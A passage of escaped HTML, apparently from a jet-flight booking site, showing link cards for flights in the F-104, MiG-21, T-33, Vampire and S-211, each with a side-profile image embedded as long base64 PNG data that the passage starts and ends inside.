M1KqrwItsr\/vTBfkWk7S7hwYw0mS0J6U8l+fvSLdWhUXkIMXgpnba7rgg03Xd1hCqqktBYYiH7uMPrOdTy1rtjG1pM+DMUskGEt5OMw7IDB+Km\/pm\/kI97G3R+8Nbke9mEhYBowaCpmAitHJOalnv31vqejJLiiM9EAD\/qVrHId7Gu1DXNAyeKQtyk7AsPumgiP2+9jVIRNprBMpOIxkWJARYfxLLHg+NwLzZ\/8YHJdgk+xR1118CHbXkD9gkfTrOUmU7Ie0lFn8lyI2YNYEwVVagVgDFvblwLYT\/8GVo26V\/kTRyfT1XWa92F0D573Cbk3jNt1tapR1BS7Z3N6X67Je7llfeUmdQZE9+yCfjTvl2+tcUtWGvnQYA\/ZhfXZ83lFpxJ7Za7CKNOnfH\/2b0i\/0H2tWqp\/8bdWzH9iYsLNqVxe7Cq\/oWRw\/c9JnfaX786ByX87k961sTiJ4xCRQKhUKhUCgUCoVCoVAoFAqFQqFQKBQKhUKhUCgUCoVCoVAoFAqFQqFQqH9Q\/wN4BIUv7R8M8wAAAABJRU5ErkJggg==\" alt=\"Lockheed F-104 Starfighter side profile\" loading=\"eager\" decoding=\"async\"><\/span><b>Fly the F-104 Starfighter<\/b><span>\u201cThe missile with a man in it\u201d<\/span><\/a><a class=\"flycard\" href=\"https:\/\/migflug.com\/mig-21-launch\/\"><span class=\"fico\"><img data-opt-id=791639987  src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAZAAAACPCAMAAADjln0EAAAAYFBMVEVHcEy8ydaor8Cewt6zvca+yNGmrrakna3G0dvWR0CxwtLTTEaPOkYCFkIFGkU6aaXFgIHI09yOrNO0vsjL1t1dw\/+8ytijtcy0w9KcrsiYtNipu9HV4eqx2PRwlsILMXwWbED9AAAAEXRSTlMAWiuC\/v3+BP3+tLBS55P+\/d9qoSIAAAoCSURBVHja7Z2Leqq8EoYVQVLq3hVNIRxq7\/8u\/0wOECBAwKB0PfOha7VqEfN2MoccejigUCgUCoVCoVAoFAqFQqFQKBQKhUKhUCgUCoVCoVAoFGojxW7ChtojOmyDF7Ty8TSiT0OXSyBpIJOtf+mTekzhR1cci6CCTDbkcTjWhJDUchBCo+vHxwBKgDw2BZLUJB0RoXRIhOsSoJlsaiHQ9saNGkwG3Zaykwsi2QxJUhUd5cQkQskVkbwWSJBkd2aIE+l0XPQ8oHGF2xWRbKSA1CltlQ2IgDNpn+YGdQefn9LkGCOSLdxIQKiBYEikiweQ5IxjonUdCSTIxLtjp2mPSDqpLC\/yjAcAhNbRKUAkW4RaHSJshghVSCggIQki8U\/k1MlGuI1U6QwSBkhoiwSdidf6SS8\/5DYyQ0QiqRSSFP37BiWthUQASQFIIOKqMeTyHmpFi4lwHwJIIJEkBEMu\/+kI7US7rGDUDQmTSGidYcjlN\/jtEKGVCxGOpDKQYMjlU93g15mISN4hUxRIuDPBkGub4NeViJG8a\/+OSDwR6Q+OOBIBJLmJJMKQa5Pg151Im7wDEh5yEfTvXoDEUY9IXmRuREwk0r8jEi\/pSC\/4XUCkraekRsiFPdfTwW+6mkhTT0kVkhT9uwcivU6LLCHS1lPSFEsqGwW\/y4gY9RQxeQJLKt6DXyBCFhAx6ikpjmJ5QdIPfklvKsq8mnoKhlxeQq1e8DszzG61kqae0vh3DLnWqx\/8CiLLbMSop6RY5fIQ\/NK0TyRdKDNTlPk7hlzr1Q9+V\/RausSVabgi5EJn4if4XWUjfStB\/+4x+E3TzGFQdzp5l1PqsaSystDYJ+I0zD6TvDdVLvTvy4EMKr9AhHpBgiWVdekIj3RpR2uIyJ9MZT1FCVae6JLK3rTr4Ddjd8aq5mDgDtwydaEMDi1OpOCngBMK5RUrwL\/vsnOId0rkxNPtvFGRwzezQ4gwNbiA1xY9qUeb81VVViWw3Pe4pU7TShLjG\/7yINBUdsnkVJOBHKomau2PMAxlIOpnjROIzqveXN+T+rG8IDkdg50ymVwTOuc2hK8wvIZ28P2OTQ6IbfUPmQHy82N9XEHZoZmsIrInrQMCz+wyNufBr6wzkj\/KhawHUn\/vLTbnkW+S3Eqhh\/q\/LKs\/ZiFfv7+PCSD1KCmB6rQnJBxIWd6kHg\/1xa38Y0B+uZZbSN08sSMr4UA0hX8XSP399fWYtpzjXoh0gZSzQOi8PLY0dZMA8piwkIfledVh8d5OwJJz+t8fBtstpNJtS2kbvBpJud6BoMnwTeX+VDmI3ZkA8jUD5MtqIPDMr2TS1BTeWl4ZsRAmqx9NAj+iXB+9ZiycmnJWbtSK3AlIz0RaA\/nVTMoE0vjYLK+8nozdQm6FqqdUsmWbpLyTkzdhcq9iTFOYv02fl1vQm6YZg7pZ9iOt96fiB\/tm3+UUkLrHgxMhPOmnJIqS0xvBjFiIauxB87i1FFkM5HlfUzcnkZuBtaemvHPKGO9mU6MQCgZSldXjS+v3AUtb4edkOSaLEgATzO0d5rumPBJlPddCGe+yZn0A68iwPmWAwu7ciRHbGI0Qb\/q0PYf870c\/yG0CDgDaKfYQXYIjHAwUWTiZizg2NpilUZYrEOjs8iknUMypISpxdW12of1YwzfTnoZAxdsR2RmylFvM+XF+8B7uf1r\/l4ddl8sF7pc4iBduz2e3kPy5DqTpsmYGVNqbMaiigzgRu3XISUImny1CbUWLs2Dw3nkVETEoDSYjdlJ6QD9nkOmqZSKIAJT3WwhxXZRl9C4TroUQSWkISBpQ1hpQKkJ1eV837Anvxt9KvE3OMpK2VyHeQ4DJoKGAi2p0sAPdiw17s\/jdFrICyHyn0wISfIQNVb2uT\/ZxyiVxD25j3f2+uWKNXJ0wB869kQTDspn4rS2rskz0zrptUAZH69njPfgQ70BGEviO\/bChCUlEuRFCmGmtHGTu+DPZJWbCEOjUgGnTZuVJNnq8bR6S7xuI3XwaRsSwIZ1djkYNrU2pHsmhtzOB3OI\/EGW9Fogt8KVmHmIEs6L8Q+ACU2IzN8dfgRbI7eZlHNjMX+x5yFO523uAzMcN7RfPXaAJpLis3gncntDEVguBzLZ3LFjztksgHi+wAwT2031qd3ZuEyA9eyZJSotuliP7d4CkXoGI3dkXT2GJg6No\/kQEbDYEc6qeAEJfrVdaiNp2eqGZgE0AkIYHjy5KOASLm8nFzubm\/hng8+pCh\/Sn2ctFJmNX\/0BWMNE+JJYdlu6xEkWEH7dxJNWSiQ+ydCJyXk69vL1FcNEsI8RWyiKbAAEmwVKn3n\/kEDuOqdMlOwsUjLC3kehx4VSGF78VEG0mT0S9\/vMQbhe34rYrVYy8xkLav2KwXr4zdcL2YRo9Q8leZCHwR4rivWXqbfFCRg5NXPByLyJiF1mdeo0PEX8x6pnUfZNalq4wmTWmZma9HvKQt0reWpVlXnbvtgi88wJjEFKMlrBm2N+oqm\/vQ4RpPL3ny4iFbJjXaVL6C3MIwy2jIKNpTUqbE784D\/m8eFreAFNJLRZClq8ZWVZQUkMNtDPkQI3\/6eBZy4g5tY+iu4SBdKK7nVW\/dCK9hpeB9vhwLC0Wchdi3aOnyHa4aFGCF008ETlqcJmsqNQXA\/U\/9L2vMAzvebe46HNvqi6QWxdIaNzVtXgQnC+8L3x1\/5CPGy9Tjzqd+B4W+X387fQHDu9jys3yu985KHYLKe7\/tgDIM6o64yG+1+E2scvAQv5dPQkk327EEP5Qrl7Gmjzgz+uVhauFDKz9rb\/0M73MMxYS9j9r3hZmjocN58wdkvDcKD+HZ\/Hu57EW77rCUVD2rnpdi4cLWn0ayDKvJz5sE5BETGe5YkHcFovodeHxeDaQTCjM+XG+CjWPDUiZEZKKd1T0Ft69xgkLGla+aZEzeSFt6CcOddPBWSTjMPHDSZiATola7g6TSzefhM2zkpMjEq6PMV2vH5IVrNlPTA0shEUvk9VCkoGafQbEngSBlpgKJ+b7xMa8+M2XXfHzAxInJtePGX3GQzsMxD0Y0eLdGiY3eAimpC9lwWqDuLNxy+FF6xLhbY4J75PWG4hWcLBM0e9+dOc5\/PFh+Yz\/wavj3ueM43acyHJy\/fAhfu\/6QzEOyZnMQHHhYW9XYxGMrRFG11tY7ss2AdI\/cmhuf0SyzYITN5QxKPlsh3XBrbL8mon4TTqewFLCFQYSII8N7ER0tMHxdB5QuSKPt0ER4lGOoBI6GchnjDy29SiigXlYCj3YmSeF1xn3gTy2pxIrgxFYJnGgebyaCmRUl8vn56dtCkyMWyi\/AUusMivJ5fODH1yXi84zUO+Iitu2N9ItxPF+a4lbRNgiKBQKhUKhUCgUCoVCoVAoFAqFQqFQKBQKhUKhUCgUCoV6mf4DTiNSMogjORkAAAAASUVORK5CYII=\" alt=\"Mikoyan-Gurevich MiG-21 side profile\" loading=\"eager\" decoding=\"async\"><\/span><b>Fly the MiG-21<\/b><span>The Cold War\u2019s most-produced jet<\/span><\/a><a class=\"flycard\" href=\"https:\/\/migflug.com\/flights-prices\/t-33-in-canada\/\"><span class=\"fico\"><img data-opt-id=791639987  src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAZAAAACNCAMAAACuXtwPAAAAkFBMVEVHcExilepckf8cKFTP4PC26PzO4PC40+xig+N0pO5yo\/pbkP5bnf\/bzNFam\/\/qeHa31fPC1\/JYsvoeMWQJH05bv\/8YMm5ckf9IfOfT5PFbwf8CFUFhmP9Xjf7a6\/Xh8\/5zoPVBbsWkwexPg+6KsfUTNntWivAvXLL19\/Ffyv9viLOVpcHioKLnOz5bXXb5qzkaNmwiAAAAF3RSTlMALev9\/AWp\/gEDFLeD\/1j9QHX8asa\/ESM4coYAAA\/xSURBVHja7J2LYqo4EIbl4qLc7NpzimhCEQGtWvr+b7czCXdB0bZAu\/ltrRa0mo8\/M5lEOpkICQkJCQkJCQkJCQkJCQkJCQkJCQkJCQn93zUDiVYYDY35PL8WGoE58JrTEC4ZXgBCNw0mey6IjMAekiETLke2JyKUDMtjMjFl4mQijimIDJxbmQUOhsSciNA+ZHZV4wFEJEFkwA7LrvNwiDEVndZgBtFl50JEEkAGS3gvOixmEZH7DtVh6XIDEEeWBJGBDGI38RCJ1nAOMZuByLqIIsMAMRqBOMQWFhlGstMsWTTNMEGkDYgjLDJQktViEGKIIDIEEKnNIJj5CouMJetNM19hkf6BGKTdIroAMjgQSvm3GBwOE0JqwxDqhIGmBaFDRc13qCSrDIT6mqcFAVz5VAwOB0qySlkvJarqY4flw0\/Ka75CAyZZVOMckIzG44iYFhkQCPXdMA3nNHS5RURYHxJIqOZ3iBpQUfMdIoaUiu80UGl+mwOhwiI9O2RuVIA4NSBgkakYrvdpkGl5EJIGjko4Ibbos3odhlSKV6ktmFmIWO0wyDCkUjYJvZAy4Y3st6Lm2ycQu1rICmCM7hMYrwelmu9MAOkv662tcIDM11PhK6zUfEWn1R+QevGdOn4Y+g4V0yIjAYK1d0prC4KmAkhvWe+V6Smx2mGIJEvuAERMi\/TXY9ldDCI+LTI6IGJwOC4gjiNqvj3FELMbkJ9c851xzUGz0m1+Z2w8ZkZHh8j6DxyuQ8NPp1dT9tl8CmRGBER3OupHDQ4zE2T3dV1isnM9sfv6NO25mV1+FhAsMc5+iCsKEJJtmuZf0HK9fqtpvV7DBtO0bT3HMoJhSGceuPJ6Nnpn8Dad6\/oTclgu10XrNyjdtgQuT7rOmAz7Huu13p8c17OTGOlPtlkYYt1FfM+\/pi3xJxqOybxrkjX2AgqnMWe+WHflcIkFoEhT1i6DATHuATLOTyfMeJqkgzHWj8IooKyX5tN8MJvcCYSMkAhvOQl6qTtYXOvM0Cf2fBibzCbzu4BwIiPK2nmaIdlGmcZ2v99H8VU4S9QVXkQ2n2YDuKTtlAHtfRYSGUuuxQeqkmk4hJCiMbdKFMHXNSCrCBW386LO+u2v3b9L5vckWdmZtOB1jsAkM8Qxl2xZJnhI0eJ437LWjq4YYL1ne+zbDUIBMO+5+n2rdyZZ2XhEGhpJFjcMQrLXT2qt3QFI1LrdoYRHk789H30PAYFAgkPbwWoNM4ZDtw2ZlF\/8sg7k7SaQNmbL\/NnAJVKfZwR9DEiGhNUa+qqZ8hptVhaxTYfUFstkFlnyxr4a1VMg25ZdCISQvPtam9PeTAJ\/xngICCIxbH1eqR9lmlV1vSTeqHmDikdOWVfl0PpLWnYG8pbusm\/c5W1NKCnf788kdydZZSLwQMO0bVuSpD5qclOAgiVb+3m\/3e5WO4qvoPLieVx\/WyqQY22iTXb4v7U7ZI+5b+k7FTyrXyVkTotS2XfWhWcT6VEeKRR2SlnZyISAbF7XzlUc5FNQfluvS8qVVchNoyYZ5NDVCgcae+CyXe3i7IWwXossCaFbrtjHe0v2Ekk1TyS7XczENuB29njipHsS5rZs8EiO2\/0fqVoJ5l3B6ICUuaQn\/M0HLA0KVdWXW5Uf6DJteOLS0\/PG362g0fcpmdUKm5hiN1bdmfBmvniJJF1+Bg+i8Y5rxQXPtl2BK5bLGEhEyoZL+QN6BknSy0stsH2ZZWadJ9QfJFX6Cd+Bp\/r5ndIOV16DDMGq7bnxAq25KpHZM2+sGi4l4W64b4uyvaJNXXU2UjWGzsYPxKkv41a\/gzp3DBzsnA1rcoZmn9\/cl4GkTlil3RaaJFuqSdKjgzDXYNcIkUZRlBY2ioJgcstcz2K6ATF6BOJonka\/2ZAkMyApjEmqHiS5wWo+rucseR8XI+iUzaZJjMvzSxFfZg8Dkft0yHcD+fIXXOoeORlmQkTT4Bpulxc+S\/\/gxONNIDTXVxzAqhf8KCBVOLTMhji7zDVRFU2Endg0tcpXDUOgQ6ZxTazH\/Ux7Uv8nA7lkk9tmV\/RopS5MeuFGuatwMstPqpH6ABv+uj7xRgBI+BuAcMX+KTtnEsnHOnHJNgpAuXOCvli16HMRdvGz79IXSff4zIEVuvknfH+B\/I+Pj5hU+7N86IS2wRTPYJG+K5L5tKgsYoOHtwRkBJDMIOePj8Vm35Ci0YIMbJVNe8oS4k6TU6T6NPAUzAYhfqStwIAXYPHZfAyHIb\/IIWCQBKLF9lazEGKYeqepx8vSO2VfpDy4LvL0TzclfryX\/BogFIB8QPxenG6+JUJknNK76ZLbcyFf3HowDCG\/xiAOdFkfi2Txce5WTTBuTdBjTczst33Kn3z\/8Qahpw+uuGsVwbg9Qd8rEEq03zEMyd4PJ3Lq\/JYIX4vQthwLC8lGn116l3EhLYZDF+OhVbvyfXid8L5siVcZKc3q+vcMRM6nu1qQOBDeG00ym7z8gYC07xeI2zAu5I0f32jxe8XYdCsr7Epld3wgdUhXLjS+O8oS2W40yRBAHN9zK0DoF1Nods4tw7DSPR4RvP7BwezYRJfTbLdPFffAJNMGIoM4JHSzYQifuuhNuy5eSW1BdzmXVewHWqCBVNVVQXhTC4IgHSI\/yIQY+iWRQYCwcSGbL131L+yLOqb4aA2ID8ftdns8BZrrgVwXf7zChd\/yVDzVNHnIKE0L1lMg234dEoRDoChB6fZuKfUD9\/VV1YIjemV7DIMzyrLgSkUYluUCGM9VtdAn9zMhl\/9sLQfSW+VnGF9cdl5d2itwPe2E6xu4kiRaWJa1eH9\/X4DOC3ZtuSp6xdUC\/+7Oi8h6LdfqEQil8RhQFEw6ZOfacc\/mNvj0xvu74h0Oh9MmgR\/IBeicGZzzGTow8Mm9TOjFB5p7AkLj3ahgcMW3eJz2tUnAzengHY6b5OB5h2RzhDteopwPnrtYWDzCQN91XzypdVrfD4SOE8bNWEI09xhdTJcDikO0USxwiLKJ4I61YVwsNMrZ8lTXS31Cu6Za1bieAlmR\/5ExyqJXUsFj1LCs5IQkgAH4hHE5ckinzTvGlLPHwgnEk7Bj59UMRNl9B42xw7gaSIgb7BvX+QSqwlAkjE6Av1IRElyDTyDony3VY4kXZMO3ofQJZPw44taZaBp626h55dUR+zHFY0Bcdtt1I8bIO0CgB6NA1+Uxo6hshPIIkJVDv6XHisdqkjj2wzDQwraummpao0HShCvhC+USxiw64Q\/F8phRXMjDFouTZak4RHHZPyi6FqouTsHwIj1Lz+mn875y7VVasOErIljZcJXWYfmdQToon\/0PJ14G0dSgfR4Zeqxmg0QYQjZWcLGYNDocArwVHNwD5MJsAOm+YualBn778d582t2nV03F2kzAFzDAqJMQ2qhH6jbwhEHAaj8obAmsBIX+t3dHcCCUwcehVta1ZqK+d2oGkkD83igHFkKUY2nD0eL3IOfyok0C8f6MidcZA4qntXVdTf9GajafSf9oquq9HliBRuXCZoNjKQg5ppAtDipW8XM4F7xaMl+HEHZwamqlRXbloTPBI8Fv9U5LioCWu9i0I2GQ\/o3AJ\/iUO6wPdsXBQshRqXlASbMsNg45YAxJDggtOabrRzNimHmBUaADY5mXpVnWq4d2bPiDdvOZx6bTyfTp33\/\/AS7ea1pC4\/Jcr3RTLZc6uaGCMMeVEXNoi\/C0zEGlXTgSbL+g1FRxrcrBLMb+nl\/ZxuMAezVg6l3xW62q1Jglhf51p5eAKJXPHyAQVcFE18VGP2H3hZFdOWXQEsYDR5AJy7wWbCiveg1I8HPlLTO56drTuS4hF6wye69oF0Ygp1PcYnXOVOk2VpjWuLNKzILSCiLIzdEGmlZqfWjjemvxBvZjtkKMtaV6sY1tanjQxW8bFNyuA+IopGENdZRguQQiBGRU1jvG7wSCCh+LYB+WAKAkSXsuXBqEflISCwfyKpa7KkHr+rkw8Ax4c85rPplLaBcA8wpYPDftxypMVHbhVxV53FYeZ5b\/zDeyR2lDKehWKs+BpFSi5HgKoEmtcy448s8AREncg6ek48XAY\/vjQzmXE3ooATthOvxfe1ei2jgMRJP1qFYCJi4UFrEl3pgtG+w0\/\/95O5cOX22zPZJl9QIlh0MtPb2ZJ9maYDZxbVhWl6u4byj6FTYybsy6TvSignEwZmAoHf9cyALP3QwSMX0ZGW9eI08UUpz7tuSBCSEyuIqAoegZ1eIqkgzqBMXSe3Hg1yic9ZJVzj9O7rSraA6vvwnJ9zlccK\/vxhiNYhtrtrXoxXnBaN6XXncw4kTfgglXs6y40F+fygWRcYFFLNVloTKArStACAzcJg4EFb6NoqFVeF6Vx5TxpLIoiIviSfzXmaYnqBKcMfLFUrlf7uLNPFb3l1rmxpo6CAYHigwZr5jR2S7rJx4EU7moYQgThQ+hwluqN06vxH48QtMf+q5rcSbx2piiC4iuYlZOtMiIaqmKglmJtqA\/tueC4hYe3X6jcnXvKezKFVaJTjRjtIu51gwDe5UM+CQTVRHyS3gxYWEhkCnJYhJit7YXakivgfur4K3clfz4fdEDxnuaf9Hl2v4gs7p4qoOWDEYYqKthWp53lPZdJCSY4jPydYK7++2HVE2xnPatf2GMIUdGVrmMnku6MUk0MCsXSFLN8vgDFz23WyJvBgMXGP\/rnvlty9T8KfyclWdK8l1UyFTuMBL6nFoov0jSD6ndk1IdYcc7RT60vIIWvCBLxuzQvv+1JBmf\/kU1TAu41AYMsk0qKJhp8OsJ6AWq+q7vZVUA2OjxScW\/zX6Aht9raGZMtLUtXbftBixMznpeLs5nfsCcsiuPXVBI8dDd17Tt8NOKNXMgkxxDSQafiS1j0YALbXZDGzDbioE5GJiCv6EFiJDu4PdAdwh83TPaNi7hJLOllj6jA+VreHT5gq7H+tC4GDWKnzYOUwov1RdPvJVd4tTn1x5JasRw\/reGSuWuxTJzpvG6SS2a9wOBpIWYBTNsTbzcjOum23QkRIWuPmBfd37z+hi\/+dOu+8m6ArnLJ4yOwcMrfxojG4XOqEuMW7x5fYsTDrO5Qslsu0nrq9sVB7bV1uuGlIPjznMjEX6fpMZJMoDX4ZZfxyUFF\/+XeA9O86VP++mh+zBoJlyHWa7GudD\/OtW9E2Bb0Y+utUS24cXCzVUrZZNijE3qZ1GhGd7NRdmmrj0\/oTtkiDVfi+Psu5JR9n6BYmIdmMTQ8dz1DFTB2oiTtVxaZ2ViiakbqwJu5XcJDFFidNRY\/R0CPHklCCmix9Vx7x8e2uPbsLKk9fplyIcgZLhp2C4jlY4iCbdbk93nGmPnjIa1N1AAX6stzVRcmo7yUGdKWiWSWP3zCJ7AhAZeEXwe\/DDjsnir\/w+32mo8rfwTTxkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGe\/HHxpcBPC5veY6AAAAAElFTkSuQmCC\" alt=\"Lockheed T-33 Shooting Star side profile\" loading=\"eager\" decoding=\"async\"><\/span><b>Fly the T-33 Shooting Star<\/b><span>America\u2019s first jet trainer<\/span><\/a><a class=\"flycard\" href=\"https:\/\/migflug.com\/flights-prices\/vampire-flight-near-london\/\"><span class=\"fico\"><img data-opt-id=791639987  src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAASwAAABrCAMAAAD6iU8nAAAAPFBMVEVHcEwKJ2CUqr2twNCYr8OdtcmYscWrvs5awv6duM0PIkutwNCascd+l7iTqbqhuNCSqsS2ytuEwedce55\/SX8hAAAAC3RSTlMA7tbhJEx3\/v6sWVEoSM0AAAgUSURBVHja7ZyJeusoDIVbb4oDAey+\/7sOQoDB8YKdpc1cnfS706SZhPw+EkLQfn2xWCwWi8VisVgsFovFYrFYH6em6\/u+axhECat6GMQw1B2j2Fc9AGrQLbPYUzeAsAKQTGtXPcESQgJw3trLWIJggZRDzbQ21QZjCanF0DOQoii0OUsA0yqDhc5iWmUpyznLfs+0SlKWcxbS4uJ0p8oKzkJagsut3ZRFznK0uqtXY8WM0rVO7iykBd+kK94sMsY0y+\/RWTglcnG6mN+FuHOWXSYyrZ3JcHIW0uICYmsyTJzFtHZhJc4SXMrvVA6ps3BGHLjcWoc1c5Z9nJP8WpmVO8tZi6fEGSyx4iwBnOQ3YOXO+vi01bYd7vD1F1Lfd49+mGbdWQ7XJwZi07aWUT06RuNwSdQ9DRbcwfq4+qFpO7LSOHhII6SwLn3zMmchrY9pbjVdDDlkBN5ZImU1DvDA52khdxYAzGB9wu5Y0yacPCMQI9ibEHrUgF\/uBuPQt8+AlTkLQGstrXTfWv3drlZmqARW2N+b\/sWPCvij\/inOkojHGKVu6nanP3hwBFOUp3OjBlyApcV4uQ\/DUWj8z1C352FZSmqBzkzm9qdo2SmvroeQxy++W\/kTsSzDConsVKInWNr5aZfWrxZd2OC26aB16qtK+jXZmMH63oQ1+e2UuRBWiMPBheE6NOjfjscXlrX9qmsYgihn2AtsDKbV0ern+2cflhDJvNifgUXZHN9USa3ddAgutxs3Gj8gjU9s38OodZV374aWAQpyGRuSgSsl\/WU2I2kJVnwwmqv5ag7BokvkeJjIRzpW7kHkF+r5F9Nq0EY1rkkzPCICAvqKqJKWONAFxiuOI9c2lY\/jxVEb\/XcXG7OeZKBs\/7e6r\/DYY9e1u9w6fHFI3jWMUGPloGU0GI7AYB3xkiICow3jzDqJBkBQ\/CUCj8f\/43Glq7J8\/W9HrmT2Iwiu9ETJH\/TDAaS7NpZb3W8y66eXE3cVafpuvu4CIWu6Eu1zyq\/GzWpARhJSEqlomvT7NTxLAry8SgYZ5QKGHtAyRIs3rglucdAQ2XIEtUpC6QCChimP2LTr0i+xO7oji4V3TQHn40zKyQlp96N0aMkTNWijg3wgL74U+DMeMSE6Yv2SwypM61A6AnrN6XVTcv6qIDsHr9lkh6Ccn\/wr0ZsEWPOPU0wrHTTIwudO7woBGobl\/fntpqK5RO87OyTV9PqATymRXjZ7ibondbnt7BKFQM2vRQprkdABanACVpq1BfKaxWPTKzf3KpodCi8bARJJxvX+8I+GF5rY2fxpH3XojLLpL0y2AJvDDhkZY+moueTSbLAgbRYvCvISfXe3FHVlSkSmz\/g+8fGUkgniHF4600uaaD24BNZSfaziFFYiLUvHbGDVncN9rY91YFWpMH0Y+QC0u3kdwlQb0l1aF0AGbhrBxrLLl6C+HjSEedlZpXGoN4J5GBYXkn55UVls0ncg5INO85UjQBK+87CAzPqbnCZgmGRjG8mX1RrO5Sw09Lq3bDBCu1P9eGqKqMmnOm1lvislFWNywuzM6S4tnHDWZsC6AXeFNSOuQSqfzvRJaLD\/Q5D7fY8Fg8l0RqX2SQgqXQwLDOzQOtZdx+UtUvOJLZR6fjXyqOz65HZWBCcOwgIzVGmXO2sraXle5zYFXWLrHTY\/9ceqQZwynD4Se6sZLM9+EnFB8Wy4Ugxnab5+tJUSpwMdInMqusrG+YilZrySvQPM+wrAHKkyYI9W96wGVNsGapBW4LBFDZ5gqSwcbeqZyGttDoThdtKiT1M9fy+4c2ZzsxI1ElZj81memjq5MrkjtXomLOvU6nV9PE\/NpdrlVZ6rkYx5FjKlhUyj8lAYbictt6FjXt9U\/\/6xwprbyFmlDbF\/QvtvZnH\/rXhGdB9WxbvmQILfgaXdMlDJ1\/fUaX\/Kv12otA1VbPpOU\/3rWnXG3LYJqptb8uiwytaBnJGH6qz152pqMtjBVy9n9XWdYEm\/3vErFBOa1YvYCN3sXvo1U\/hd3AnVoTpLLK2lIZJCVm\/YNE2dlQ0nxJ\/zWdwl0VKvkNtRWES5RQ8cXBsulKUpqHexysNwlt7nETjtLsVALSU3LXbS4+mHYMkMVErKjrx\/y2Z8CkvJnJVcCThNpEzYtTTak5MUgjIGZbjv9zlN3nc4krPCk2eOomGbNx27uqawks0RnX7kjYTlAlOS5ZJdX7pr0m3O+8b4IWeB0QuccMyqf9cZj8xZ1OzHD6WXc\/c2vzxmw40a0\/BADx7u424a7vtQobOu1++bnA8hbN\/lZGT+jSzN7es9+CJMy5zcOKu3n7O69q5BkYwiDZ4p4HJjRZSzamFePMCJlh54SquYvKnaXzlk1XRdCsykirs3s7Cc5345tyE9sLm7s2KlRUi3nFT1q4f3cFPERWDOak5NLmX5VWOBKIA17YioAuHT\/sTfx2qajmJSmg2FnCb30vyqr1xvSIatIlUsfHb1S9G3brHK7BFL0aWFVjoP6nhiCzTEJUHcAz0kLITV3wI1J6ZLkc0JGn+oTOFtRbdyQ2lZ\/VFQM2ImrdePSD1BEjsw1eO\/1\/O2c8fdOWSPQaJkVuGBn69PE6Z+n8kKme0Dua1BctnJYvrsP\/BBh28DM\/kkY8UDgJaRO7bY\/p\/+DgptTVaV64LGCa4YVWTtZlAbaxUy6v70b9U8BZrfB7fg0gpMy2UhqsrBqaaTr\/\/gX9NpaHsyFR3JTnXiYCuLxWKxWCwWi8VisVgsFovF+uf1H3jQrUZE9wwrAAAAAElFTkSuQmCC\" alt=\"de Havilland Vampire side profile\" loading=\"eager\" decoding=\"async\"><\/span><b>Fly the DH Vampire<\/b><span>A piece of early jet history<\/span><\/a><a class=\"flycard\" href=\"https:\/\/migflug.com\/flights-prices\/s-211-jet-flight-munich\/\"><span class=\"fico\"><img data-opt-id=791639987  src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAUAAAAByCAMAAAAVi\/iKAAAAVFBMVEVHcEy2zd\/A0t4XK1IpMUh+kKexzODG0tvDytC7zt2Up8HI1N0BF0Nbwf+dsMisvdH7rj7U3+kAD0IPNHziwI\/MizhgUEKVbD1Oeq52y\/jSSUO1n5Bl4sd4AAAAC3RSTlMAmsmL+CRx\/f5B6alY3JkAAAtsSURBVHja7ZyJduI6DIYHmiCDQ4xZw\/D+73kt73Ycxwl02nuOxUxPF8ry8WuxJPrnT7Vq1apVq1atWrVq1T5qbdvuv76+mk5Y89VWIEvYfSG55nE6NedOW1MRlttX152FNafTwwLsuq8KZgFAtLOQYNdVgitcWAMUEryfK8EV1lgJ3nwJ1ji40Ie7SILnrhJcBjCWYNXgsiA4kqAIixXOkiDYdbEEayJZ6MP3SIKV4DKA3fkWS7ASXBQEExKsBEsANhkJ1lS8yIfvfktBWyVYDrDrbkFLoWpwYRBMSvBcCZZXgkkJ1kSyxIdTUbASXAAwKcFKsDgIKgmOANZUXB4Eu1NKgpVgsQ9jV6s5K6upeA1AHC9dGnG5NLW3tSYIHigBbUGHuiaSouNw1w2MEKbscq6peEUhI4fsl0vowpVgOUA14QyTSCW4IAgmevu1mFkEcDRkr52ZZT6caqzWcnARwPuUBLtaDhYFwUkJ1kRSUglO9PYrwXIfxq7WlAQrwRKAOQnWRFIQBCcaq3VvqzQIZiVYNVgSBFGCU1GwloMlAO\/h0nRNJEuDYDMdBWt3sAQgRsHu\/Cs02O6F7Zzhl78wiDRxoMtKsPn6bmS73WazPU7bE8h2gzTb9ncGQTVempTgNyUSA+75PM7Yk1IqPuIVNwiy\/W0+jBPO+zTAD5eDQnO7rTAClHBOjwUmCIL9XPwXevxRiO1ooP6YPs99TIPSWTeEAlDKhQkovfjqqS0LUPzO6AqbH5TiyIebrATfjIOt4CZ8lXCFTZicBFKgjFHaD8qKJeh99\/hTSvzqlknw3A27leSkryp0yAzl5wwlyC4dzrW6y\/DMSZBSlvzBcfsTDNtukQTPTc\/pZr8oyglnRVraV0fotAkJ8uGibJjLI5OAt7v9jwfBnATPd8YBBMLZ13rkrHpuLz6h8kNoIougD2uAl3wUTDqxFxDbn\/Xh6d6+cF+qnj3nW5H+sLRtRwVZqzOrcVYIFJcSn\/VhuLwtQRUP9z8aBBO9fbV3JNxXsRBIHBxpQm0bPC9swWZW6awGWQFCTCNFPnzE13CuYvx3aTkBsJFdrbNnTXO53wfCnZaiQMaNeamVanfNyC6UIHBW4sMyEcNcvXj8Z57c+KS83j4iG4bX4dD3PWOEoqgiGXlfW\/OlVk4vluDscQTmDy3H3T9IIcKEuvCfvCAywYug4RPn6sI1ojDsU50RQKOClKcW46OU9GAIdrlC5jg88R4jWilPJ9+lwlZWFyJNHqS+UGG+SVbcExJMScllVKAJhIsUKIppQZCTg3gRc0EQATO89uC+kSy+MRizjyJURRlSU27Z4yVhzCIlDKUIycpN5QgrPsMroAdLFCicuJehgouaRtwrSx7qpEQHLuQ1XNw3ujFyJdP3HblVcttorUk+SWzmpwzPqEDEc5AM8cpWm8q3U0BB5RUYefEihkTdGd6Hia14Nn7GAFGCvFehcirvgK123ilq9ggOMcwZCx53yAYQm+bJpHLVf\/krzDClnzG56dkz84AcxqfzYClB4MrTJ2pHmWlMbb1\/A6CRHsths09f125pszWKFCJhhim+PsyTqfJ8QiCVmwtM5iwPJCH6wTH2NLxESYp19+AARhJk1D8zb96OfSryHQJuBhakStxk1Es5pGGkZUqcTvsQrIVrAFtj7heJjhTGhdXqsadHYCLLCHLiftGJB